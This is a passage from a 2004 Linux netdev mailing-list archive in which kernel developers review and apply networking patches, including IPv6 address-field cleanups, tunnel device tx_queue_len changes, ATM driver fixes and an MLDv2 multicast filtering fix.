1.4/net/ipv6/netfilter/ip6t_eui64.c Thu Jan 29 08:59:34 2004 +++ edited/net/ipv6/netfilter/ip6t_eui64.c Thu Feb 12 13:46:24 2004 @@ -50,7 +50,7 @@ eui64[0] |= 0x02; i=0; - while ((skb->nh.ipv6h->saddr.in6_u.u6_addr8[8+i] == + while ((skb->nh.ipv6h->saddr.s6_addr[8+i] == eui64[i]) && (i<8)) i++; if ( i == 8 ) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From hadi@cyberus.ca Wed Feb 11 21:44:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:44:51 -0800 (PST) Received: from tiger.cybersurf.com (tiger.cybersurf.com [209.197.145.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5ifKO022478 for ; Wed, 11 Feb 2004 21:44:42 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by tiger.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1C5iaJB032544 for ; Wed, 11 Feb 2004 22:44:36 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Ar9eN-00033B-Jb; Thu, 12 Feb 2004 00:44:35 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <1076563502.1031.85.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076564638.1033.91.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Feb 2004 00:43:59 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3252 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Thu, 2004-02-12 at 00:25, jamal wrote: > > OK, however, old behavior would be like setting tx_queue_len to '1'. > > Do we wish to preserve this? I think i misunderstood you - you are saying maybe it was not a bug after all in pfifo, right? i.e the off by one is ok. I suppose you could look at it that way; i am just baffled that tunnels worked fine though with that size of default. Note the poster didnt seem to change the tx_queue_len cheers, jamal From davem@redhat.com Wed Feb 11 21:51:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:51:52 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5pmKO024084 for ; Wed, 11 Feb 2004 21:51:48 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C5phb23287; Thu, 12 Feb 2004 00:51:43 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C5phi02102; Thu, 12 Feb 2004 00:51:43 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C5p8kC017596; Thu, 12 Feb 2004 00:51:09 -0500 Date: Wed, 11 Feb 2004 21:51:42 -0800 From: "David S. Miller" To: hadi@cyberus.ca Cc: qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040211215142.7f817513.davem@redhat.com> In-Reply-To: <1076564638.1033.91.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3253 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 12 Feb 2004 00:43:59 -0500 jamal wrote: > On Thu, 2004-02-12 at 00:25, jamal wrote: > > > > OK, however, old behavior would be like setting tx_queue_len to '1'. > > > Do we wish to preserve this? > > I think i misunderstood you - you are saying maybe it was not a bug > after all in pfifo, right? i.e the off by one is ok. No, you understood me the first time. I am saying, the PFIFO fix was correct. And therefore if we are to preserve the tunnel device behavior precisely to what happened before the PFIFO fix we must set the tx_queue_len to '1'. What use is any other value? Show me a code path where more than one packet can occupy the queue of one of these tunnel devices? :-) Packets get headers added and straight to transmit to next device. ->hard_start_xmit() routines of these drivers always consume SKB and return 0. From davem@redhat.com Wed Feb 11 22:02:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:02:53 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C62iKO026270 for ; Wed, 11 Feb 2004 22:02:44 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C62Yb26852; Thu, 12 Feb 2004 01:02:34 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C62Xi04242; Thu, 12 Feb 2004 01:02:33 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C61xkC020633; Thu, 12 Feb 2004 01:01:59 -0500 Date: Wed, 11 Feb 2004 22:02:32 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, huisheng@angelfire.com Subject: Re: [PATCH][ATM]: prevent user-space compilation errors Message-Id: <20040211220232.7f54babc.davem@redhat.com> In-Reply-To: <200402111425.i1BEPtRr005772@ginger.cmf.nrl.navy.mil> References: <200402111425.i1BEPtRr005772@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3254 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 09:25:57 -0500 chas williams (contractor) wrote: > the script used by redhat to generate glibc-kernheaders doesnt > seem to handle #ifdef __KERNEL__/#else/#endif properly. it seems > to remove the #ifdef/#else and leaves a dangling #endif. > > this patch simplifies things a bit. please apply to 2.6 and 2.4. Applied, thanks Chas. From dlstevens@us.ibm.com Wed Feb 11 22:03:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:03:30 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C63CKQ026382 for ; Wed, 11 Feb 2004 22:03:20 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1C637M3665414; Thu, 12 Feb 2004 01:03:07 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1C636WH108460; Wed, 11 Feb 2004 23:03:06 -0700 In-Reply-To: <20040212.140022.128605177.yoshfuji@linux-ipv6.org> Subject: Re: [PATCH] IPV6: kill in6_u.u6_addrX To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 11 Feb 2004 22:03:04 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/11/2004 23:03:05 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4ABDF8CE8AF8f9e8a93df938690918c07BBE4ABDF8CE8AF" Content-Disposition: inline X-archive-position: 3255 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4ABDF8CE8AF8f9e8a93df938690918c07BBE4ABDF8CE8AF Content-type: text/plain; charset=US-ASCII > There're still two in6_u.u6_addrX in the tree. > (I've grep'ed the tree.) These are in-kernel only, but for application use RFC 3493 only defines s6_addr (u_char [16]). Assuming XNS only defines s6_addr and not the others too, then if we want the in-kernel field names to match the external field names, and if we want the external field names to be compliant with other API standards... Then, don't these names need to start with "_". As #defines, they pollute the global namespace and don't follow the naming conventions for public exported symbols. Unless they've been added in later standards revisions, a portable program should be able to use a variable name of "s6_addr32", but can't on Linux. Not related to what you're trying to fix, and I haven't checked if more recent standards have defined them, but if not, me might want to look at changing these to #define _s6_addr32 _S6_un._s6_u32 [same namespace issue applies to the union tag, too] +-DLS --0__=07BBE4ABDF8CE8AF8f9e8a93df938690918c07BBE4ABDF8CE8AF Content-type: text/html; charset=US-ASCII Content-Disposition: inline

> There're still two in6_u.u6_addrX in the tree.
> (I've grep'ed the tree.)

These are in-kernel only, but for application use
RFC 3493 only defines s6_addr (u_char [16]). Assuming
XNS only defines s6_addr and not the others too, then
if we want the in-kernel field names to match the external
field names, and if we want the external field names
to be compliant with other API standards...

Then, don't these names need to start with "_". As #defines,
they pollute the global namespace and don't follow the
naming conventions for public exported symbols. Unless
they've been added in later standards revisions, a
portable program should be able to use a variable name
of "s6_addr32", but can't on Linux.

Not related to what you're trying to fix, and I haven't
checked if more recent standards have defined them, but
if not, me might want to look at changing these to

#define _s6_addr32 _S6_un._s6_u32

[same namespace issue applies to the union tag, too]

+-DLS
--0__=07BBE4ABDF8CE8AF8f9e8a93df938690918c07BBE4ABDF8CE8AF-- From davem@redhat.com Wed Feb 11 22:04:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:04:45 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C64VKO027230 for ; Wed, 11 Feb 2004 22:04:33 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C64Qb27441; Thu, 12 Feb 2004 01:04:26 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C64Pi04660; Thu, 12 Feb 2004 01:04:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C63pkC021141; Thu, 12 Feb 2004 01:03:51 -0500 Date: Wed, 11 Feb 2004 22:04:24 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [he] unconditionalize extra pci reads to flush posted writes Message-Id: <20040211220424.7820b0bc.davem@redhat.com> In-Reply-To: <200402111429.i1BETlRr005845@ginger.cmf.nrl.navy.mil> References: <200402111429.i1BETlRr005845@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3256 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 09:29:48 -0500 chas williams (contractor) wrote: > since its difficult to tell which pci bus is using > posted writes, remove the ifdef's for the sgi sn2 > (and remove the extra flushes that would be flushed > by other reads just slightly later). the extra reads > shouldnt impact performance. > > please apply to 2.6 and 2.4 The readbacks should apply to many platforms anyways. Applied, thanks Chas. From davem@redhat.com Wed Feb 11 22:06:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:06:22 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C669KO027888 for ; Wed, 11 Feb 2004 22:06:09 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C663b28005; Thu, 12 Feb 2004 01:06:03 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C662i04967; Thu, 12 Feb 2004 01:06:02 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C65SkC021385; Thu, 12 Feb 2004 01:05:28 -0500 Date: Wed, 11 Feb 2004 22:06:02 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [clip] delay /proc/net/atm/arp creation Message-Id: <20040211220602.7ed84984.davem@redhat.com> In-Reply-To: <200402111432.i1BEWRRr005897@ginger.cmf.nrl.navy.mil> References: <200402111432.i1BEWRRr005897@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3257 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 09:32:29 -0500 chas williams (contractor) wrote: > this patch delay's creation of /proc/net/atm/arp until > after the kmem_cache_create. mea culpa in advance for > the shoddy #ifdef. > > please apply to 2.6 We can clean up the ifdefs later. Patch applied. From hadi@cyberus.ca Wed Feb 11 22:10:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:10:33 -0800 (PST) Received: from sand.cybersurf.com (sand.cybersurf.com [209.197.145.195]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C6AMKO028961 for ; Wed, 11 Feb 2004 22:10:22 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by sand.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1C6AGF7029731 for ; Wed, 11 Feb 2004 23:10:16 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1ArA3D-0005PD-KI; Thu, 12 Feb 2004 01:10:16 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <20040211215142.7f817513.davem@redhat.com> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076566176.1033.94.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Feb 2004 01:09:36 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3258 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Thu, 2004-02-12 at 00:51, David S. Miller wrote: > Show me a code path where more than one packet > can occupy the queue of one of these tunnel devices? :-) ok, makes sense ;-> cheers, jamal From yoshfuji@linux-ipv6.org Wed Feb 11 22:19:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:19:58 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C6JhKO030843 for ; Wed, 11 Feb 2004 22:19:43 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id A179533CA5; Thu, 12 Feb 2004 15:20:41 +0900 (JST) Date: Thu, 12 Feb 2004 15:20:41 +0900 (JST) Message-Id: <20040212.152041.71631987.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPV6: kill in6_u.u6_addrX From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040212.140022.128605177.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3259 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Wed, 11 Feb 2004 22:03:04 -0800), David Stevens says: > Not related to what you're trying to fix, and I haven't > checked if more recent standards have defined them, but > if not, me might want to look at changing these to > > #define _s6_addr32 _S6_un._s6_u32 Please don't. Userspace uses sockaddr_in6 defined in glibc, not one in kernel. It is glibc issue. Well, it is one of my TODO to revisit IPv6 related headers. They're not friendly with glibc headers... -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@redhat.com Wed Feb 11 22:23:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:23:20 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C6N5KO031808 for ; Wed, 11 Feb 2004 22:23:08 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C6N1b01068; Thu, 12 Feb 2004 01:23:01 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C6N0i08275; Thu, 12 Feb 2004 01:23:00 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C6MQkC026575; Thu, 12 Feb 2004 01:22:26 -0500 Date: Wed, 11 Feb 2004 22:22:59 -0800 From: "David S. Miller" To: hadi@cyberus.ca Cc: qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040211222259.776ad818.davem@redhat.com> In-Reply-To: <1076566176.1033.94.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3260 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 12 Feb 2004 01:09:36 -0500 jamal wrote: > On Thu, 2004-02-12 at 00:51, David S. Miller wrote: > > > Show me a code path where more than one packet > > can occupy the queue of one of these tunnel devices? :-) > > ok, makes sense ;-> Great, here is the patch I am testing now. BTW, you missed fixing up the xxx0 device in each of these things. ===== net/ipv4/ip_gre.c 1.34 vs edited ===== --- 1.34/net/ipv4/ip_gre.c Tue Oct 28 01:13:14 2003 +++ edited/net/ipv4/ip_gre.c Wed Feb 11 22:17:28 2004 @@ -276,6 +276,7 @@ return NULL; dev->init = ipgre_tunnel_init; + dev->tx_queue_len = 1; nt = dev->priv; nt->parms = *parms; @@ -1269,6 +1270,7 @@ } ipgre_fb_tunnel_dev->init = ipgre_fb_tunnel_init; + ipgre_fb_tunnel_dev->tx_queue_len = 1; if ((err = register_netdev(ipgre_fb_tunnel_dev))) goto fail; ===== net/ipv4/ipip.c 1.37 vs edited ===== --- 1.37/net/ipv4/ipip.c Sun Oct 19 00:12:04 2003 +++ edited/net/ipv4/ipip.c Wed Feb 11 22:17:46 2004 @@ -246,6 +246,7 @@ nt = dev->priv; SET_MODULE_OWNER(dev); dev->init = ipip_tunnel_init; + dev->tx_queue_len = 1; dev->destructor = free_netdev; nt->parms = *parms; @@ -892,6 +893,7 @@ } ipip_fb_tunnel_dev->init = ipip_fb_tunnel_init; + ipip_fb_tunnel_dev->tx_queue_len = 1; if ((err = register_netdev(ipip_fb_tunnel_dev))) goto fail; ===== net/ipv6/sit.c 1.33 vs edited ===== --- 1.33/net/ipv6/sit.c Mon Jan 19 21:23:19 2004 +++ edited/net/ipv6/sit.c Wed Feb 11 22:18:05 2004 @@ -184,6 +184,7 @@ nt = dev->priv; dev->init = ipip6_tunnel_init; + dev->tx_queue_len = 1; nt->parms = *parms; if (register_netdevice(dev) < 0) { @@ -832,6 +833,7 @@ } ipip6_fb_tunnel_dev->init = ipip6_fb_tunnel_init; + ipip6_fb_tunnel_dev->tx_queue_len = 1; if ((err = register_netdev(ipip6_fb_tunnel_dev))) goto fail; From dlstevens@us.ibm.com Wed Feb 11 22:35:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:35:45 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C6ZPKO001632 for ; Wed, 11 Feb 2004 22:35:31 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1C6YfM3608710; Thu, 12 Feb 2004 01:34:41 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1C6YdWH118024; Wed, 11 Feb 2004 23:34:40 -0700 In-Reply-To: <20040212.110328.103131455.yoshfuji@linux-ipv6.org> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 11 Feb 2004 23:34:37 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/11/2004 23:34:40 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D" X-archive-position: 3261 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D Content-type: multipart/alternative; Boundary="1__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D" --1__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D Content-type: text/plain; charset=US-ASCII "Hideaki YOSHIFUJI" wrote on 02/11/2004 06:03:28 PM: > You forgot to check if proto is IPPROTO_ICMPV6. > (This is one reason why I want to check the icmpv6 code > in icmpv6_rcv().) Arg! You're right! I had no idea what you were talking about with that comment about icmpv6_rcv() (the test can't be done there, because it'll be discarded without it; I thought you were looking for an optimization of some kind). Of course, my tests are using ICMP (MLD and ECHO) and UDP packets that didn't have MLD types where the ICMPv6 type code would be-- so the filter and exceptions all worked. :-( What I intended is for ipv6_is_mld() to check this (not assume that "skb" is ICMPv6 only). Fixed patch below [blush]. Thanks for the reviews, +-DLS diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F2/include/net/addrconf.h --- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800 +++ linux-2.6.2F2/include/net/addrconf.h 2004-02-11 21:03:10.000000000 -0800 @@ -98,6 +98,7 @@ extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, struct in6_addr *src_addr); +extern int ipv6_is_mld(struct sk_buff *skb, int nexthdr); extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len); diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F2/net/ipv6/ip6_input.c --- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-11 21:00:03.000000000 -0800 @@ -168,11 +168,19 @@ smp_read_barrier_depends(); if (ipprot->flags & INET6_PROTO_FINAL) { + struct ipv6hdr *hdr; + if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) { skb->csum = csum_sub(skb->csum, csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0)); cksum_sub++; } + hdr = skb->nh.ipv6h; + if (ipv6_addr_is_multicast(&hdr->daddr) && + !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, + &hdr->saddr) && + !ipv6_is_mld(skb, nexthdr)) + goto discard; } if (!(ipprot->flags & INET6_PROTO_NOPOLICY) && !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) @@ -211,15 +219,14 @@ int ip6_mc_input(struct sk_buff *skb) { - struct ipv6hdr *hdr; - int deliver = 0; - int discard = 1; + struct ipv6hdr *hdr; + int deliver; IP6_INC_STATS_BH(Ip6InMcastPkts); hdr = 